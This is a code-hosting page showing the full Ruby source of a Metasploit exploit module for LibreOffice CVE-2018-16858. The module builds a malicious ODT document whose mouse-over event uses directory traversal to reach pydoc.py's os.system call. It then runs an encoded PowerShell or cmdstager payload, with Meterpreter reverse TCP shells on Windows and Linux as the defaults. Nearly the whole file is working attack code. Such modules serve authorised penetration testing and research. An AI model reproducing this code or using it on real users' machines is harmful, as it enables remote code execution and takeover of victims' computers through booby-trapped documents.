CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/fileformat/libreoffice_macro_exec.rb
Views: 11623
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::FILEFORMAT
10
include Msf::Exploit::Powershell
11
include Msf::Exploit::CmdStager
12
13
def initialize(info = {})
14
super(update_info(info,
15
'Name' => 'LibreOffice Macro Code Execution',
16
'Description' => %q{
17
LibreOffice comes bundled with sample macros written in Python and
18
allows the ability to bind program events to them. A macro can be tied
19
to a program event by including the script that contains the macro and
20
the function name to be executed. Additionally, a directory traversal
21
vulnerability exists in the component that references the Python script
22
to be executed. This allows a program event to execute functions from Python
23
scripts relative to the path of the samples macros folder. The pydoc.py script
24
included with LibreOffice contains the tempfilepager function that passes
25
arguments to os.system, allowing RCE.
26
27
This module generates an ODT file with a mouse over event that
28
when triggered, will execute arbitrary code.
29
},
30
'License' => MSF_LICENSE,
31
'Author' =>
32
[
33
'Alex Inführ', # Vulnerability discovery and PoC
34
'Shelby Pace' # Metasploit Module
35
],
36
'References' =>
37
[
38
[ 'CVE', '2018-16858' ],
39
[ 'URL', 'https://insert-script.blogspot.com/2019/02/libreoffice-cve-2018-16858-remote-code.html' ]
40
],
41
'Platform' => [ 'win', 'linux' ],
42
'Arch' => [ ARCH_X86, ARCH_X64 ],
43
'Targets' =>
44
[
45
[
46
'Windows',
47
{
48
'Platform' => 'win',
49
'Arch' => [ ARCH_X86, ARCH_X64 ],
50
'Payload' => 'windows/meterpreter/reverse_tcp',
51
'DefaultOptions' => { 'PrependMigrate' => true }
52
}
53
],
54
[
55
'Linux',
56
{
57
'Platform' => 'linux',
58
'Arch' => [ ARCH_X86, ARCH_X64 ],
59
'Payload' => 'linux/x86/meterpreter/reverse_tcp',
60
'DefaultOptions' => { 'PrependFork' => true },
61
'CmdStagerFlavor' => 'printf',
62
}
63
]
64
],
65
'DisclosureDate' => "2018-10-18",
66
'DefaultTarget' => 0
67
))
68
69
register_options(
70
[
71
OptString.new('FILENAME', [true, 'Output file name', 'librefile.odt'])
72
])
73
end
74
75
def gen_windows_cmd
76
opts =
77
{
78
:remove_comspec => true,
79
:method => 'reflection',
80
:encode_final_payload => true
81
}
82
@cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first, opts)
83
@cmd << ' &amp;&amp; echo'
84
end
85
86
def gen_linux_cmd
87
@cmd = generate_cmdstager.first
88
@cmd << ' &amp;&amp; echo'
89
end
90
91
def gen_file(path)
92
text_content = Rex::Text.rand_text_alpha(10..15)
93
94
# file from Alex Inführ's PoC post referenced above
95
fodt_file = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-16858', 'librefile.erb'))
96
libre_file = ERB.new(fodt_file).result(binding())
97
libre_file
98
rescue Errno::ENOENT
99
fail_with(Failure::NotFound, 'Cannot find template file')
100
end
101
102
def exploit
103
path = '../../../program/python-core-3.5.5/lib/pydoc.py'
104
if datastore['TARGET'] == 0
105
gen_windows_cmd
106
elsif datastore['TARGET'] == 1
107
gen_linux_cmd
108
else
109
fail_with(Failure::BadConfig, 'A formal target was not chosen.')
110
end
111
fodt_file = gen_file(path)
112
113
file_create(fodt_file)
114
end
115
end
116
117